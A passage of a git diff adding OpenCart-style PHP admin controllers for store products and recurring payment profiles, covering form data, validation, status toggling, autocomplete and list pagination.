+ } elseif (!empty($product_info)) {
+ $manufacturer_info = $this->model_catalog_manufacturer->getManufacturer($product_info['manufacturer_id']);
+
+ if ($manufacturer_info) {
+ $data['manufacturer'] = $manufacturer_info['name'];
+ } else {
+ $data['manufacturer'] = '';
+ }
+ } else {
+ $data['manufacturer'] = '';
+ }
+
+ // Categories
+ $this->load->model('catalog/category');
+
+ $data['categories'] = $this->model_catalog_category->getAllCategories();
+
+ if (isset($this->request->post['main_category_id'])) {
+ $data['main_category_id'] = $this->request->post['main_category_id'];
+ } elseif (isset($product_info)) {
+ $data['main_category_id'] = $this->model_catalog_product->getProductMainCategoryId($this->request->get['product_id']);
+ } else {
+ $data['main_category_id'] = 0;
+ }
+
+ if (isset($this->request->post['product_category'])) {
+ $categories = $this->request->post['product_category'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $categories = $this->model_catalog_product->getProductCategories($this->request->get['product_id']);
+ } else {
+ $categories = array();
+ }
+
+ $data['product_categories'] = array();
+
+ foreach ($categories as $category_id) {
+ $category_info = $this->model_catalog_category->getCategory($category_id);
+
+ if ($category_info) {
+ $data['product_categories'][] = array(
+ 'category_id' => $category_info['category_id'],
+ 'name' => ($category_info['path']) ? $category_info['path'] . ' > ' . $category_info['name'] : $category_info['name']
+ );
+ }
+ }
+
+ // Filters
+ $this->load->model('catalog/filter');
+
+ if (isset($this->request->post['product_filter'])) {
+ $filters = $this->request->post['product_filter'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $filters = $this->model_catalog_product->getProductFilters($this->request->get['product_id']);
+ } else {
+ $filters = array();
+ }
+
+ $data['product_filters'] = array();
+
+ foreach ($filters as $filter_id) {
+ $filter_info = $this->model_catalog_filter->getFilter($filter_id);
+
+ if ($filter_info) {
+ $data['product_filters'][] = array(
+ 'filter_id' => $filter_info['filter_id'],
+ 'name' => $filter_info['group'] . ' > ' . $filter_info['name']
+ );
+ }
+ }
+
+ // Attributes
+ $this->load->model('catalog/attribute');
+
+ if (isset($this->request->post['product_attribute'])) {
+ $product_attributes = $this->request->post['product_attribute'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $product_attributes = $this->model_catalog_product->getProductAttributes($this->request->get['product_id']);
+ } else {
+ $product_attributes = array();
+ }
+
+ $data['product_attributes'] = array();
+
+ foreach ($product_attributes as $product_attribute) {
+ $attribute_info = $this->model_catalog_attribute->getAttribute($product_attribute['attribute_id']);
+
+ if ($attribute_info) {
+ $data['product_attributes'][] = array(
+ 'attribute_id' => $product_attribute['attribute_id'],
+ 'name' => $attribute_info['name'],
+ 'product_attribute_description' => $product_attribute['product_attribute_description']
+ );
+ }
+ }
+
+ // Options
+ $this->load->model('catalog/option');
+
+ if (isset($this->request->post['product_option'])) {
+ $product_options = $this->request->post['product_option'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $product_options = $this->model_catalog_product->getProductOptions($this->request->get['product_id']);
+ } else {
+ $product_options = array();
+ }
+
+ $data['product_options'] = array();
+
+ foreach ($product_options as $product_option) {
+ $product_option_value_data = array();
+
+ if (isset($product_option['product_option_value'])) {
+ foreach ($product_option['product_option_value'] as $product_option_value) {
+ $product_option_value_data[] = array(
+ 'product_option_value_id' => $product_option_value['product_option_value_id'],
+ 'option_value_id' => $product_option_value['option_value_id'],
+ 'quantity' => $product_option_value['quantity'],
+ 'subtract' => $product_option_value['subtract'],
+ 'price' => $product_option_value['price'],
+ 'price_prefix' => $product_option_value['price_prefix'],
+ 'points' => $product_option_value['points'],
+ 'points_prefix' => $product_option_value['points_prefix'],
+ 'weight' => $product_option_value['weight'],
+ 'weight_prefix' => $product_option_value['weight_prefix']
+ );
+ }
+ }
+
+ $data['product_options'][] = array(
+ 'product_option_id' => $product_option['product_option_id'],
+ 'product_option_value' => $product_option_value_data,
+ 'option_id' => $product_option['option_id'],
+ 'name' => $product_option['name'],
+ 'type' => $product_option['type'],
+ 'value' => isset($product_option['value']) ? $product_option['value'] : '',
+ 'required' => $product_option['required']
+ );
+ }
+
+ $data['option_values'] = array();
+
+ foreach ($data['product_options'] as $product_option) {
+ if ($product_option['type'] == 'select' || $product_option['type'] == 'radio' || $product_option['type'] == 'checkbox' || $product_option['type'] == 'image') {
+ if (!isset($data['option_values'][$product_option['option_id']])) {
+ $data['option_values'][$product_option['option_id']] = $this->model_catalog_option->getOptionValues($product_option['option_id']);
+ }
+ }
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ if (isset($this->request->post['product_discount'])) {
+ $product_discounts = $this->request->post['product_discount'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $product_discounts = $this->model_catalog_product->getProductDiscounts($this->request->get['product_id']);
+ } else {
+ $product_discounts = array();
+ }
+
+ $data['product_discounts'] = array();
+
+ foreach ($product_discounts as $product_discount) {
+ $data['product_discounts'][] = array(
+ 'customer_group_id' => $product_discount['customer_group_id'],
+ 'quantity' => $product_discount['quantity'],
+ 'priority' => $product_discount['priority'],
+ 'price' => $product_discount['price'],
+ 'date_start' => ($product_discount['date_start'] != '0000-00-00') ? $product_discount['date_start'] : '',
+ 'date_end' => ($product_discount['date_end'] != '0000-00-00') ? $product_discount['date_end'] : ''
+ );
+ }
+
+ if (isset($this->request->post['product_special'])) {
+ $product_specials = $this->request->post['product_special'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $product_specials = $this->model_catalog_product->getProductSpecials($this->request->get['product_id']);
+ } else {
+ $product_specials = array();
+ }
+
+ $data['product_specials'] = array();
+
+ foreach ($product_specials as $product_special) {
+ $data['product_specials'][] = array(
+ 'customer_group_id' => $product_special['customer_group_id'],
+ 'priority' => $product_special['priority'],
+ 'price' => $product_special['price'],
+ 'date_start' => ($product_special['date_start'] != '0000-00-00') ? $product_special['date_start'] : '',
+ 'date_end' => ($product_special['date_end'] != '0000-00-00') ? $product_special['date_end'] : ''
+ );
+ }
+
+ // Image
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($product_info)) {
+ $data['image'] = $product_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($product_info) && is_file(DIR_IMAGE . $product_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($product_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ // Images
+ if (isset($this->request->post['product_image'])) {
+ $product_images = $this->request->post['product_image'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $product_images = $this->model_catalog_product->getProductImages($this->request->get['product_id']);
+ } else {
+ $product_images = array();
+ }
+
+ $data['product_images'] = array();
+
+ foreach ($product_images as $product_image) {
+ if (is_file(DIR_IMAGE . $product_image['image'])) {
+ $image = $product_image['image'];
+ $thumb = $product_image['image'];
+ } else {
+ $image = '';
+ $thumb = 'no_image.png';
+ }
+
+ $data['product_images'][] = array(
+ 'image' => $image,
+ 'thumb' => $this->model_tool_image->resize($thumb, 100, 100),
+ 'sort_order' => $product_image['sort_order']
+ );
+ }
+
+ // Downloads
+ $this->load->model('catalog/download');
+
+ if (isset($this->request->post['product_download'])) {
+ $product_downloads = $this->request->post['product_download'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $product_downloads = $this->model_catalog_product->getProductDownloads($this->request->get['product_id']);
+ } else {
+ $product_downloads = array();
+ }
+
+ $data['product_downloads'] = array();
+
+ foreach ($product_downloads as $download_id) {
+ $download_info = $this->model_catalog_download->getDownload($download_id);
+
+ if ($download_info) {
+ $data['product_downloads'][] = array(
+ 'download_id' => $download_info['download_id'],
+ 'name' => $download_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['product_related'])) {
+ $products = $this->request->post['product_related'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $products = $this->model_catalog_product->getProductRelated($this->request->get['product_id']);
+ } else {
+ $products = array();
+ }
+
+ $data['product_relateds'] = array();
+
+ foreach ($products as $product_id) {
+ $related_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($related_info) {
+ $data['product_relateds'][] = array(
+ 'product_id' => $related_info['product_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['product_related_article'])) {
+ $articles = $this->request->post['product_related_article'];
+ } elseif (isset($product_info)) {
+ $articles = $this->model_catalog_product->getArticleRelated($this->request->get['product_id']);
+ } else {
+ $articles = array();
+ }
+
+ $data['product_related_article'] = array();
+ $this->load->model('blog/article');
+
+ foreach ($articles as $article_id) {
+ $article_info = $this->model_blog_article->getArticle($article_id);
+
+ if ($article_info) {
+ $data['product_related_article'][] = array(
+ 'article_id' => $article_info['article_id'],
+ 'name' => $article_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['points'])) {
+ $data['points'] = $this->request->post['points'];
+ } elseif (!empty($product_info)) {
+ $data['points'] = $product_info['points'];
+ } else {
+ $data['points'] = '';
+ }
+
+ if (isset($this->request->post['product_reward'])) {
+ $data['product_reward'] = $this->request->post['product_reward'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $data['product_reward'] = $this->model_catalog_product->getProductRewards($this->request->get['product_id']);
+ } else {
+ $data['product_reward'] = array();
+ }
+
+ if (isset($this->request->post['product_seo_url'])) {
+ $data['product_seo_url'] = $this->request->post['product_seo_url'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $data['product_seo_url'] = $this->model_catalog_product->getProductSeoUrls($this->request->get['product_id']);
+ } else {
+ $data['product_seo_url'] = array();
+ }
+
+ if (isset($this->request->post['product_layout'])) {
+ $data['product_layout'] = $this->request->post['product_layout'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $data['product_layout'] = $this->model_catalog_product->getProductLayouts($this->request->get['product_id']);
+ } else {
+ $data['product_layout'] = array();
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/product_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/product')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['product_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 255)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if ((utf8_strlen($this->request->post['model']) < 1) || (utf8_strlen($this->request->post['model']) > 64)) {
+ $this->error['model'] = $this->language->get('error_model');
+ }
+
+ if (isset($this->request->post['product_seo_url']) && is_array($this->request->post['product_seo_url'])) {
+ foreach ($this->request->post['product_seo_url'] as $store_id => &$languages) {
+ foreach ($languages as $language_id => &$keyword) {
+ if (!empty($keyword)) {
+ $keyword = translit($keyword);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['product_description'])) {
+ foreach ($this->request->post['product_description'] as $language_id => $value) {
+ if (!empty($value['name'])) {
+ if (!isset($this->request->post['product_seo_url'][0][$language_id]) || trim($this->request->post['product_seo_url'][0][$language_id]) === '') {
+ $this->request->post['product_seo_url'][0][$language_id] = translit($value['name']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['product_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['product_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['product_id']) || (($seo_url['query'] != 'product_id=' . $this->request->get['product_id'])))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('catalog/product');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/product');
+ if (isset($this->request->post['selected']) && $this->validateEnable()) {
+ foreach ($this->request->post['selected'] as $product_id) {
+ $this->model_catalog_product->editProductStatus($product_id, 1);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+ public function disable() {
+ $this->load->language('catalog/product');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/product');
+ if (isset($this->request->post['selected']) && $this->validateDisable()) {
+ foreach ($this->request->post['selected'] as $product_id) {
+ $this->model_catalog_product->editProductStatus($product_id, 0);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ protected function validateEnable() {
+ if (!$this->user->hasPermission('modify', 'catalog/product')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDisable() {
+ if (!$this->user->hasPermission('modify', 'catalog/product')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/product')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateCopy() {
+ if (!$this->user->hasPermission('modify', 'catalog/product')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name']) || isset($this->request->get['filter_model'])) {
+ $this->load->model('catalog/product');
+ $this->load->model('catalog/option');
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $filter_model = $this->request->get['filter_model'];
+ } else {
+ $filter_model = '';
+ }
+
+ if (isset($this->request->get['limit'])) {
+ $limit = (int)$this->request->get['limit'];
+ } else {
+ $limit = $this->config->get('config_limit_autocomplete');
+ }
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_model' => $filter_model,
+ 'start' => 0,
+ 'limit' => $limit
+ );
+
+ $results = $this->model_catalog_product->getProducts($filter_data);
+
+ foreach ($results as $result) {
+ $option_data = array();
+
+ $product_options = $this->model_catalog_product->getProductOptions($result['product_id']);
+
+ foreach ($product_options as $product_option) {
+ $option_info = $this->model_catalog_option->getOption($product_option['option_id']);
+
+ if ($option_info) {
+ $product_option_value_data = array();
+
+ foreach ($product_option['product_option_value'] as $product_option_value) {
+ $option_value_info = $this->model_catalog_option->getOptionValue($product_option_value['option_value_id']);
+
+ if ($option_value_info) {
+ $product_option_value_data[] = array(
+ 'product_option_value_id' => $product_option_value['product_option_value_id'],
+ 'option_value_id' => $product_option_value['option_value_id'],
+ 'name' => $option_value_info['name'],
+ 'price' => (float)$product_option_value['price'] ? $this->currency->format($product_option_value['price'], $this->config->get('config_currency')) : false,
+ 'price_prefix' => $product_option_value['price_prefix']
+ );
+ }
+ }
+
+ $option_data[] = array(
+ 'product_option_id' => $product_option['product_option_id'],
+ 'product_option_value' => $product_option_value_data,
+ 'option_id' => $product_option['option_id'],
+ 'name' => $option_info['name'],
+ 'type' => $option_info['type'],
+ 'value' => $product_option['value'],
+ 'required' => $product_option['required']
+ );
+ }
+ }
+
+ $json[] = array(
+ 'product_id' => $result['product_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8')),
+ 'model' => $result['model'],
+ 'option' => $option_data,
+ 'price' => $result['price']
+ );
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/catalog/recurring.php b/public/admin/controller/catalog/recurring.php
new file mode 100644
index 0000000..2136ed2
--- /dev/null
+++ b/public/admin/controller/catalog/recurring.php
@@ -0,0 +1,514 @@
+load->language('catalog/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/recurring');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/recurring');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_recurring->addRecurring($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/recurring');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_recurring->editRecurring($this->request->get['recurring_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/recurring');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $recurring_id) {
+ $this->model_catalog_recurring->deleteRecurring($recurring_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function copy() {
+ $this->load->language('catalog/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/recurring');
+
+ if (isset($this->request->post['selected']) && $this->validateCopy()) {
+ foreach ($this->request->post['selected'] as $recurring_id) {
+ $this->model_catalog_recurring->copyRecurring($recurring_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'rd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/recurring/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['copy'] = $this->url->link('catalog/recurring/copy', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/recurring/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['recurrings'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $recurring_total = $this->model_catalog_recurring->getTotalRecurrings();
+
+ $results = $this->model_catalog_recurring->getRecurrings($filter_data);
+
+ foreach ($results as $result) {
+ $data['recurrings'][] = array(
+ 'recurring_id' => $result['recurring_id'],
+ 'name' => $result['name'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('catalog/recurring/edit', 'user_token=' . $this->session->data['user_token'] . '&recurring_id=' . $result['recurring_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=pd.name' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=p.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $recurring_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($recurring_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($recurring_total - $this->config->get('config_limit_admin'))) ? $recurring_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $recurring_total, ceil($recurring_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/recurring_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['recurring_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['recurring_id'])) {
+ $data['action'] = $this->url->link('catalog/recurring/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/recurring/edit', 'user_token=' . $this->session->data['user_token'] . '&recurring_id=' . $this->request->get['recurring_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['recurring_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $recurring_info = $this->model_catalog_recurring->getRecurring($this->request->get['recurring_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['recurring_description'])) {
+ $data['recurring_description'] = $this->request->post['recurring_description'];
+ } elseif (!empty($recurring_info)) {
+ $data['recurring_description'] = $this->model_catalog_recurring->getRecurringDescription($recurring_info['recurring_id']);
+ } else {
+ $data['recurring_description'] = array();
+ }
+
+ if (isset($this->request->post['price'])) {
+ $data['price'] = $this->request->post['price'];
+ } elseif (!empty($recurring_info)) {
+ $data['price'] = $recurring_info['price'];
+ } else {
+ $data['price'] = 0;
+ }
+
+ $data['frequencies'] = array();
+
+ $data['frequencies'][] = array(
+ 'text' => $this->language->get('text_day'),
+ 'value' => 'day'
+ );
+
+ $data['frequencies'][] = array(
+ 'text' => $this->language->get('text_week'),
+ 'value' => 'week'
+ );
+
+ $data['frequencies'][] = array(
+ 'text' => $this->language->get('text_semi_month'),
+ 'value' => 'semi_month'
+ );
+
+ $data['frequencies'][] = array(
+ 'text' => $this->language->get('text_month'),
+ 'value' => 'month'
+ );
+
+ $data['frequencies'][] = array(
+ 'text' => $this->language->get('text_year'),
+ 'value' => 'year'
+ );
+
+ if (isset($this->request->post['frequency'])) {
+ $data['frequency'] = $this->request->post['frequency'];
+ } elseif (!empty($recurring_info)) {
+ $data['frequency'] = $recurring_info['frequency'];
+ } else {
+ $data['frequency'] = '';
+ }
+
+ if (isset($this->request->post['duration'])) {
+ $data['duration'] = $this->request->post['duration'];
+ } elseif (!empty($recurring_info)) {
+ $data['duration'] = $recurring_info['duration'];
+ } else {
+ $data['duration'] = 0;
+ }
+
+ if (isset($this->request->post['cycle'])) {
+ $data['cycle'] = $this->request->post['cycle'];
+ } elseif (!empty($recurring_info)) {
+ $data['cycle'] = $recurring_info['cycle'];
+ } else {
+ $data['cycle'] = 1;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($recurring_info)) {
+ $data['status'] = $recurring_info['status'];
+ } else {
+ $data['status'] = 0;
+ }
+
+ if (isset($this->request->post['trial_price'])) {
+ $data['trial_price'] = $this->request->post['trial_price'];
+ } elseif (!empty($recurring_info)) {
+ $data['trial_price'] = $recurring_info['trial_price'];
+ } else {
+ $data['trial_price'] = 0.00;
+ }
+
+ if (isset($this->request->post['trial_frequency'])) {
+ $data['trial_frequency'] = $this->request->post['trial_frequency'];
+ } elseif (!empty($recurring_info)) {
+ $data['trial_frequency'] = $recurring_info['trial_frequency'];
+ } else {
+ $data['trial_frequency'] = '';
+ }
+
+ if (isset($this->request->post['trial_duration'])) {
